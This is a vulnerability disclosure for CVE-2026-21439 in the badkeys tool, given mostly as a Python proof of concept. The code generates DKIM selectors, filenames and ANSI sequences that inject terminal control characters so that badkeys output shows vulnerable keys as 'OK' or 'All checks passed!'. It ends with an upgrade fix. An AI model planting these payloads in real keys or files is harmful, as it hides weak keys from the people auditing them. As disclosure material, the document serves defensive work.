CVE-2026-21439: badkeys工具输出注入漏洞（CVSS 5.3）

#!/usr/bin/env python3 """ CVE-2026-21439 PoC - badkeys Output Injection This PoC demonstrates how control characters can be injected into badkeys output to create misleading results. """ def generate_malicious_dkim_key(): """ Generate a DKIM key with injected control characters that can manipulate badkeys output display. """ # ANSI escape sequence to turn text green (appears as "OK") ansi_green = '\x1b[32m' ansi_reset = '\x1b[0m' # Malicious selector name that will display as "VULNERABLE" # but may appear as "OK" due to escape sequence injection malicious_selector = ( f"vulnerable{ansi_green}OK{ansi_reset}" "\x0b\x0c" # Vertical tab and form feed ) return malicious_selector def generate_malicious_filename(): """ Generate filenames with control characters that can manipulate terminal output in badkeys --ssh-lines mode. """ # Use carriage return to overwrite previous output malicious_name = "safe_key\rVULNERABLE " return malicious_name def generate_ansi_overlay(): """ Generate content that uses ANSI sequences to overlay error messages with success messages. """ # Move cursor up and overwrite line overlay = "\x1b[1A" + "\x1b[K" + "All checks passed!" return overlay if __name__ == "__main__": print("=== CVE-2026-21439 PoC ===") print("\nGenerating malicious inputs for badkeys:\n") print("1. Malicious DKIM selector:") print(f" {repr(generate_malicious_dkim_key())}") print("\n2. Malicious filename:") print(f" {repr(generate_malicious_filename())}") print("\n3. ANSI overlay sequence:") print(f" {repr(generate_ansi_overlay())}") print("\n[!] These control characters can be embedded in:") print(" - DKIM keys (--dkim, --dkim-dns modes)") print(" - SSH keys (--ssh-lines mode)") print(" - File names in various modes") print("\n[!] Impact: Misleading output, hidden vulnerabilities") print("[!] Fix: Upgrade to badkeys >= 0.0.16")